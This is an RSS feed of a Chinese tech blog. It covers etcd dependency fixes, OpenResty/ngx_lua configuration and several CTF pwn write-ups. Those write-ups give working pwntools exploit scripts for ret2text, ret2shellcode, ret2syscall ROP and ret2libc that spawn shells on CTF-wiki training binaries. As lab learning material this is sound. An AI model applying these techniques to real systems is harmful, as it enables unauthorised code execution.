BoyChai's Blog https://blog.boychai.xyz/ zh-CN BoyChai的博客,计算机网络爱好者,倾心于互联网发展 Sat, 13 Jul 2024 16:04:00 +0000 Sat, 13 Jul 2024 16:04:00 +0000 [ETCD]依赖报错 https://blog.boychai.xyz/index.php/archives/76/ https://blog.boychai.xyz/index.php/archives/76/ Sat, 13 Jul 2024 16:04:00 +0000 BoyChai 报错1

在go环境安装etcd时执行下面操作

go get go.etcd.io/etcd/client/v3
go mod tidy

在tidy的过程中出现下面错误

go: etcd-client/etcd imports
        go.etcd.io/etcd/clientv3 tested by
        go.etcd.io/etcd/clientv3.test imports
        github.com/coreos/etcd/auth imports
        github.com/coreos/etcd/mvcc/backend imports
        github.com/coreos/bbolt: github.com/coreos/bbolt@v1.3.10: parsing go.mod:
        module declares its path as: go.etcd.io/bbolt
                but was required as: github.com/coreos/bbolt

参考ISSUE,应该是这个库本来在github后来迁移到go.etcd.io了,解决办法是在go.mod后面追加

replace github.com/coreos/bbolt => go.etcd.io/bbolt v1.3.5

报错2

解决bbolt库的问题之后再次tidy出现下面这个报错,

go: etcd-client/etcd imports
        go.etcd.io/etcd/clientv3 tested by
        go.etcd.io/etcd/clientv3.test imports
        github.com/coreos/etcd/integration imports
        github.com/coreos/etcd/proxy/grpcproxy imports
        google.golang.org/grpc/naming: module google.golang.org/grpc@latest found (v1.65.0), but does not contain package google.golang.org/grpc/naming

参考ISSUE,问题是因为这些库依赖于google.golang.org/grpc/naming这个包但是他这个grcp版本v1.65.0里面移除了这个包需要一个支持naming包的grpc版本,解决办法是把grpc版本换成v1.26.0

replace google.golang.org/grpc => google.golang.org/grpc v1.26.0
]]>
0 https://blog.boychai.xyz/index.php/archives/76/#comments https://blog.boychai.xyz/index.php/feed/
[PWN]栈溢出-ret2libc1 https://blog.boychai.xyz/index.php/archives/75/ https://blog.boychai.xyz/index.php/archives/75/ Tue, 11 Jun 2024 08:50:00 +0000 BoyChai 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2libc1     
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

这是一个采用动态连接库编译的32位ELF文件

软件防护

 checksec --file=ret2libc1    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   84 Symbols        No    0               1               ret2libc1

允许栈溢出,NX防护开启,PIE防护关闭。

IDA分析

在main函数中内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

在main中明显的gets函数,直接可以栈溢出,之后其他没有可用信息了。
在secure函数中内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

有后门,但是system()函数传参不对不能直接拿这个地址直接用。
在IDA中查询找字符串/bin/sh在rodata中地址是0x08048720
在plt表中查询到system()函数的地址是0x08048460

.plt:08048460                               ; [00000006 BYTES: COLLAPSED FUNCTION _system]

攻击

攻击思路

采用system的plt地址来运行system()函数,通过程序内的字符串/bin/sh给函数进行传参。

栈溢出位数

使用pwndbg调试,内容如下

───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX  0xffffcf3c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x8048690 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcfa8 ◂— 0
 ESP  0xffffcf20 —▸ 0xffffcf3c ◂— 'hello'
*EIP  0x8048683 (main+107) ◂— mov eax, 0

这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。

脚本

from pwn import *

# 利用地址
system_plt = 0x8048460
binsh = 0x8049720

io = process("./ret2libc1")

payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh])

io.sendline(payload)

io.interactive()

在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()所以不需要考虑这个返回地址的内容,填充垃圾数据即可。

]]>
0 https://blog.boychai.xyz/index.php/archives/75/#comments https://blog.boychai.xyz/index.php/feed/
[PWN]栈溢出-ROP-ret2syscall https://blog.boychai.xyz/index.php/archives/74/ https://blog.boychai.xyz/index.php/archives/74/ Mon, 03 Jun 2024 01:39:00 +0000 BoyChai 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file rop    
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32位ELF文件

软件防护

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=rop  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   2255 Symbols      No    0               0               rop

栈溢出防护是关闭的,NX是开启的,那这道题基本上就是用ROP进行栈溢出了。

IDA分析

main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

说这次没有system()shellcode该怎么办,但是这里有gets函数肯定存在栈溢出,然后分析了一下,确实是没有system(),shellcode也没办法执行,但是在地址0x080BE408发现了字符串"/bin/sh"

攻击

攻击思路

shellcode和后门函数都不存在,这里直接尝试rop。

ROPgadget查询

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep eax    
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

eax_ret = 0x080bb196

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

edx_ecx_ebx_ret = 0x0806eb90

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop |grep "int"|grep "0x80"
...
0x080b9e08 : push es ; int 0x80
...

intx80 = 0x080b9e08

PWNDBG计算溢出长度

pwndbg调试信息如下

*EAX  0xffffcf7c ◂— 'hello'
 EBX  0x80481a8 (_init) ◂— push ebx
*ECX  0xfbad2288
*EDX  0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
 ESI  0
 EBP  0xffffcfe8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
 ESP  0xffffcf60 —▸ 0xffffcf7c ◂— 'hello'
*EIP  0x8048e9b (main+119) ◂— mov eax, 0

0xe8-0x7c=232-124=108+4=112

攻击脚本

from pwn import *

io = process("./rop")

sh = 0x080BE408
eax_ret = 0x080BB196
edx_ecx_ebx_ret = 0x0806EB90
intx80 = 0x080B9E08
payload = flat(
    [
        b"a" * 112,
        eax_ret,
        0xB,
        edx_ecx_ebx_ret,
        sh,
        0,
        0,
        intx80,
    ]
)

io.sendline(payload)

io.interactive()

上面四个地址分别是“/bin/sh”字符串地址、pop eax ret地址、pop ebx ecx edx ret地址、int 0x80地址,使用上面的payload可以达成下面执行效果

mov eax,0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

payload中的0xb是系统调用的id他代表执行命令的一个函数。

]]>
0 https://blog.boychai.xyz/index.php/archives/74/#comments https://blog.boychai.xyz/index.php/feed/
[PWN]栈溢出-ret2shellcode https://blog.boychai.xyz/index.php/archives/73/ https://blog.boychai.xyz/index.php/archives/73/ Thu, 30 May 2024 08:34:00 +0000 BoyChai 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
PS:内容来自于CTF-WIKI

关于环境

高版本的linux内核似乎已经修复了这个问题,目前只能尝试在Ubuntu-18.04或之前的版本可以 内核版本目前我用的是5.4.0-84-generic成功复现了这个题目。

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2shellcode
ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped

保护措施

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=ret2shellcode
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE

NX是关闭的,这一题考点就和这个有关系。

IDA分析

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

main中有大问题,gets就不说了,攻击点就肯定是在这里,然后他往一个s[100]输入值了之后把s的值全部放到了buf2中,这个buf2在main中也没有定义,去看一下他的位置

.bss:0804A080                               public buf2
.bss:0804A080                               ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

他的地址是0x0804A080这里还是在bss段中的,这里的值是可以读写的。这里思路已经清晰了。

攻击思路

这里面没有发现什么后门,这里我们就需要自己制造出一个后门sh,通过把后门sh写入到buf2中,然后用栈溢出把返回地址修改成buf2就可以完成攻击。

PWNDBG调试

pwndbg> n
hello      
15    in ret2shellcode.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────
*EAX  0xffffd29c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80485d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd308 ◂— 0
 ESP  0xffffd280 —▸ 0xffffd29c ◂— 'hello'
*EIP  0x8048598 (main+107) ◂— mov dword ptr [esp + 8], 0x64

esp地址是0xffffd29c然后ebp地址是0xffffd308进行计算776-668=108,需要溢出的栈长度是108+4,然后再加上返回地址改成buf2那就是116。

脚本攻击

from pwn import *

# 远程连接
io = remote("172.20.10.4",16000)

# buf2地址
buf2 = 0x0804A080

# payload构建
# 这里payload的总长度是116
payload = asm(shellcraft.sh()).ljust(112,b"a") + p32(buf2)
io.sendline(payload)

# 进入交互模式
io.interactive()
]]>
0 https://blog.boychai.xyz/index.php/archives/73/#comments https://blog.boychai.xyz/index.php/feed/
[PWN]栈溢出-ret2text https://blog.boychai.xyz/index.php/archives/72/ https://blog.boychai.xyz/index.php/archives/72/ Tue, 28 May 2024 12:10:00 +0000 BoyChai 题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped

程序类型位32位ELF文件

防护措施

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=ret2text
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   83 Symbols        No    0               2               ret2text

防护措施好像就有个NX,NX是不允许在堆栈中执行shellcode

IDA分析

main函数内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

可以看到gets往s里面传值了,但是s的长度是100,这里就是一个简单的栈溢出。之后还找到了一个程序后门,代码内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((int)&unk_8048760, (int)&input);
  if ( input == secretcode )
    system("/bin/sh");
}

关于system(/bin/sh)他就是留下的后门。。这里看一下他的详细信息

.text:0804863A ; 11:     system("/bin/sh");

他的地址是0804863A

攻击思路

使用栈溢出把程序结束时的返回地址改成后门的执行地址也就是0804863A,但是栈需要溢出多少位还不知道需要动态分析一下。

PWNDBG分析

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ gdb ret2text
pwndbg> b main
pwndbg> r
pwndbg> n
pwndbg> n
pwndbg> n
hello
25      in ret2text.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX  0xffffcf1c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcf88 ◂— 0
 ESP  0xffffcf00 —▸ 0xffffcf1c ◂— 'hello'
*EIP  0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────
  ......
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
......
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────── 
......
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

这里只写一些重要的操作和一些重要输出,输出中重点内容是

*EAX  0xffffcf1c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcf88 ◂— 0
 ESP  0xffffcf00 —▸ 0xffffcf1c ◂— 'hello'
*EIP  0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4

EBP和ESP的地址间隔是0xffffcf88 - 0xffffcf1c= 4294954888 - 4294954780 = 108(这里可以直接用88h-1ch初学为了好理解就写全了),拿到间隔长度之后需要+4,因为要往返回地址中写内容,而返回地址的位置是再esp的上面所以需要+4。

============================
            返回地址
============================
            %esp
============================
            xxxxx
============================

PWNTools代码攻击

from pwn import *

io = process("./ret2text")

target = 0x804863a

payload = b"A" * (108 + 4) + p32(target)

io.sendline(payload)

io.interactive()

io.close()

效果展示

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ python test.py 
[+] Starting local process './ret2text': pid 35232
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ ls
core  ret2text    run  test.py
$ pwd
/home/kali/Desktop/pwn
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './ret2text' stopped with exit code -11 (SIGSEGV) (pid 35232)
[*] Got EOF while sending in interactive
]]>
0 https://blog.boychai.xyz/index.php/archives/72/#comments https://blog.boychai.xyz/index.php/feed/
[Nginx]ngx_lua模块 https://blog.boychai.xyz/index.php/archives/71/ https://blog.boychai.xyz/index.php/archives/71/ Thu, 25 Apr 2024 00:51:00 +0000 BoyChai 概述

淘宝开发的ngx_lua模块通过将lua解释器解释器集成Nginx,可以采用lua脚本实现业务逻辑,由于lua的紧凑、快速以及内建协程,所以在保证高并发服务能力的同时极大降低了业务逻辑实现成本。

安装方式1(已弃用)

lua-nginx-module

LuaJIT是采用C语言编写的Lua代表的解释器。
官网: http://luajit.org
在官网找到对应下载地址: https://github.com/LuaJIT/LuaJIT/tags

[root@work env]# wget https://github.com/LuaJIT/LuaJIT/archive/refs/tags/v2.0.5.tar.gz
[root@work env]# tar xvf v2.0.5.tar.gz 
[root@work env]# cd LuaJIT-2.0.5/
[root@work LuaJIT-2.0.5]# make && make install
make[1]: Leaving directory '/opt/env/LuaJIT-2.0.5/src'
==== Successfully built LuaJIT 2.0.5 ====
==== Installing LuaJIT 2.0.5 to /usr/local ====
mkdir -p /usr/local/bin /usr/local/lib /usr/local/include/luajit-2.0 /usr/local/share/man/man1 /usr/local/lib/pkgconfig /usr/local/share/luajit-2.0.5/jit /usr/local/share/lua/5.1 /usr/local/lib/lua/5.1
cd src && install -m 0755 luajit /usr/local/bin/luajit-2.0.5
cd src && test -f libluajit.a && install -m 0644 libluajit.a /usr/local/lib/libluajit-5.1.a || :
rm -f /usr/local/bin/luajit /usr/local/lib/libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so /usr/local/lib/libluajit-5.1.so.2
cd src && test -f libluajit.so && \
  install -m 0755 libluajit.so /usr/local/lib/libluajit-5.1.so.2.0.5 && \
  ldconfig -n /usr/local/lib && \
  ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so && \
  ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so.2 || :
cd etc && install -m 0644 luajit.1 /usr/local/share/man/man1
cd etc && sed -e "s|^prefix=.*|prefix=/usr/local|" -e "s|^multilib=.*|multilib=lib|" luajit.pc > luajit.pc.tmp && \
  install -m 0644 luajit.pc.tmp /usr/local/lib/pkgconfig/luajit.pc && \
  rm -f luajit.pc.tmp
cd src && install -m 0644 lua.h lualib.h lauxlib.h luaconf.h lua.hpp luajit.h /usr/local/include/luajit-2.0
cd src/jit && install -m 0644 bc.lua v.lua dump.lua dis_x86.lua dis_x64.lua dis_arm.lua dis_ppc.lua dis_mips.lua dis_mipsel.lua bcsave.lua vmdef.lua /usr/local/share/luajit-2.0.5/jit
ln -sf luajit-2.0.5 /usr/local/bin/luajit
==== Successfully installed LuaJIT 2.0.5 to /usr/local ====

lua-nginx-module

nginx第三方模块lua-nginx-module
官网: https://github.com/openresty/lua-nginx-module

[root@work env]# wget https://github.com/openresty/lua-nginx-module/archive/refs/tags/v0.10.26.tar.gz
[root@work env]# tar xvf v0.10.26.tar.gz 
[root@work env]# ln -s lua-nginx-module-0.10.26 lua-nginx-module

环境变量设置

[root@work ~]# tail -n2 /etc/profile
export LUAJIT_LIB=/usr/local/lib
export LUAJIT_INC=/usr/local/include/luajit-2.0
[root@work ~]# source /etc/profile

扩展nginx模块

打开nginx编译安装的位置 进行重新编译安装

[root@work nginx-1.24.0]# ./configure  --prefix=/usr/local/nginx  --sbin-path=/usr/local/nginx/sbin/nginx --conf-path=/usr/local/nginx/conf/nginx.conf --error-log-path=/var/log/nginx/error.log  --http-log-path=/var/log/nginx/access.log  --pid-path=/var/run/nginx/nginx.pid --lock-path=/var/lock/nginx.lock  --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --http-client-body-temp-path=/var/tmp/nginx/client/ --http-proxy-temp-path=/var/tmp/nginx/proxy/ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi/ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --with-pcre --add-module=/opt/package/nginx/lua-nginx-module
[root@work nginx-1.24.0]# make && make install

扩展的重点是--with-pcre --add-module=/opt/package/nginx/lua-nginx-module
这里就相当于重新安装了,之前安装的模块还需要再这里再添加一遍

错误

libluajit-5.1.so.2

当在扩展号nginx模块后执行nginx相关命令出现以下错误

[root@work ~]# nginx -V
nginx: error while loading shared libraries: libluajit-5.1.so.2: cannot open shared object file: No such file or directory

这个错误表明 Nginx 在启动时无法找到名为 libluajit-5.1.so.2 的共享库文件。这很可能是由于 Nginx 模块依赖 LuaJIT 库,但系统中缺少了该库所致。解决办法如下

[root@work ~]# ln -s /usr/local/lib/libluajit-5.1.so.2 /lib64/liblua-5.1.so.2

reason: module 'resty.core' not found

[root@work conf]# nginx
nginx: [alert] detected a LuaJIT version which is not OpenResty's; many optimizations will be disabled and performance will be compromised (see https://github.com/openresty/luajit2 for OpenResty's LuaJIT or, even better, consider using the OpenResty releases from https://openresty.org/en/download.html)
nginx: [alert] failed to load the 'resty.core' module (https://github.com/openresty/lua-resty-core); ensure you are using an OpenResty release from https://openresty.org/en/download.html (reason: module 'resty.core' not found:
    no field package.preload['resty.core']
    no file './resty/core.lua'
    no file '/usr/local/share/luajit-2.0.5/resty/core.lua'
    no file '/usr/local/share/lua/5.1/resty/core.lua'
    no file '/usr/local/share/lua/5.1/resty/core/init.lua'
    no file './resty/core.so'
    no file '/usr/local/lib/lua/5.1/resty/core.so'
    no file '/usr/local/lib/lua/5.1/loadall.so'
    no file './resty.so'
    no file '/usr/local/lib/lua/5.1/resty.so'
    no file '/usr/local/lib/lua/5.1/loadall.so') in /usr/local/nginx/conf/nginx.conf:117

原因似乎是缺少lua-resty-core模块,这里手动编译安装一下
项目地址: https://github.com/openresty/lua-resty-core

[root@work nginx]# tar xvf v0.1.28.tar.gz 
tar xvf
make install

安装方式2

概述

直接使用OpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便

安装

参考: https://openresty.org/cn/linux-packages.html
配置:/usr/local/openrestry/nginx/conf

关于OpenRestry

OpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便。
PS:本文只讲ngx_lua的使用,其他的基本和nginx配置无区别。

ngx_lua相关指令块

使用Lua编写Nginx脚本的基本构建块是指令。指令用于指定何时运行用户Lua代码以及如何使用结果。下图显示了执行指令的顺序。
顺序

先来解释一下*的作用

*:无 , 即 xxx_by_lua ,指令后面跟的是 lua指令
*:_file,即 xxx_by_lua_file 指令后面跟的是 lua文件
*:_block,即 xxx_by_lua_block 在0.9.17版后替换init_by_lua_file

init_by_lua*

该指令在每次Nginx重新加载配置时执行,可以用来完成一些耗时模块的加载,或者初始化一些全局配置。

init_worker_by_lua*

该指令用于启动一些定时任务,如心跳检查、定时拉取服务器配置等。

set_by_lua*

该指令只要用来做变量赋值,这个指令一次只能返回一个值,并将结果赋值给Nginx中指定的变量。

rewrite_by_lua*

该指令用于执行内部URL重写或者外部重定向,典型的如伪静态化URL重写,本阶段在rewrite处理阶段的最后默认执行。

access_by_lua*

该指令用于访问控制。例如,如果只允许内网IP访问。

content_by_lua*

该指令是应用最多的指令,大部分任务是在这个阶段完成的,其他的过程往往为这个阶段准备数据,正式处理基本都在本阶段。

header_filter_by_lua*

该指令用于设置应答消息的头部信息。

body_filter_by_lua*

该指令是对响应数据进行过滤,如截断、替换。

log_by_lua*

该指令用于在log请求处理阶段,用Lua代码处理日志,但并不替换原有log处理。

balancer_by_lua*

该指令主要的作用是用来实现上游服务器的负载均衡器算法

ssl_certificate_by_*

该指令作用在Nginx和下游服务开始一个SSL握手操作时将允许本配置项的Lua代码。

案例1

需求

输出内容

配置

  location /lua {
            default_type 'text/html';
            content_by_lua 'ngx.say("<h1>HELLO,OpenResty</h1>")';
        }

案例2

需求

http://xxx/?name=张三&gender=1
Nginx接收到请求后根据gender传入的值,如果是gender传入的是1,则展示张三先生,如果是0则展示张三女士,如果都不是则展示张三。

配置

  location /getByGender {
                default_type 'text/html';
                set_by_lua $param "
                        -- 获取请求URL上的参数对应的值
                        local uri_args = ngx.req.get_uri_args()
                        local name = uri_args['name']
                        local gender = uri_args['gender']
                        -- 条件判断 if gender 1 先生 0 女士
                        if gender == '1' then
                                return name..'先生'
                        elseif gender == '0' then
                                return name..'女士'
                        else
                                return name
                        end
                ";
                # 解决中文乱码
                charset utf-8;
                # 返回数据
                return 200 $param;
        }

ngx.req.get_uri_args()返回的是一个table类型

案例3

需求

动态获取docker容器ip,做代理

配置

server{
         listen       80;
         server_name  code.boychai.xyz;
         client_max_body_size 4096M;
     set_by_lua $param '
             local name = "gitea"
                local port = "3000"
                local command = string.format("echo -n `docker inspect --format=\'{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}\' %s`", name)
                local handle = io.popen(command)
                local result = handle:read("*a")
                handle:close()
                return "http://"..result..":"..port
     ';
         location / {
                if ( $param = 'http://:3000' ) {
                        return 500 "Error in obtaining site IP";
                }
            proxy_pass     $param;
                proxy_set_header     Host $proxy_host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header     X-Forwarded-For $proxy_add_x_forwarded_for;
         }
}
]]>
0 https://blog.boychai.xyz/index.php/archives/71/#comments https://blog.boychai.xyz/index.php/feed/
[Tekton] 报错: more than one PersistentVolumeClaim is bound https://blog.boychai.xyz/index.php/archives/70/ https://blog.boychai.xyz/index.php/archives/70/ Wed, 24 Apr 2024 11:45:00 +0000 BoyChai 复现

task-nodejs.yaml

apiVersion: tekton.dev/v1beta1
kind: Task
metadata:
  name: build-node-project
spec:
  workspaces:
    - name: cache
      mountPath: /root/.npm
    - name: source
    - name: output
  params:
    - name: imgTag
      type: string
    - name: run
      type: string
    - name: dir
      type: string
  steps:
    - name: build
      workingDir: "$(workspaces.source.path)/$(params.dir)"
      image: "node:$(params.imgTag)"
      script: |
        rm -rf package-lock.json
        npm install --registry=https://registry.npmmirror.com/
        npm run $(params.run)
        cp -r dist/* $(workspaces.output.path)/

taskrun.yaml
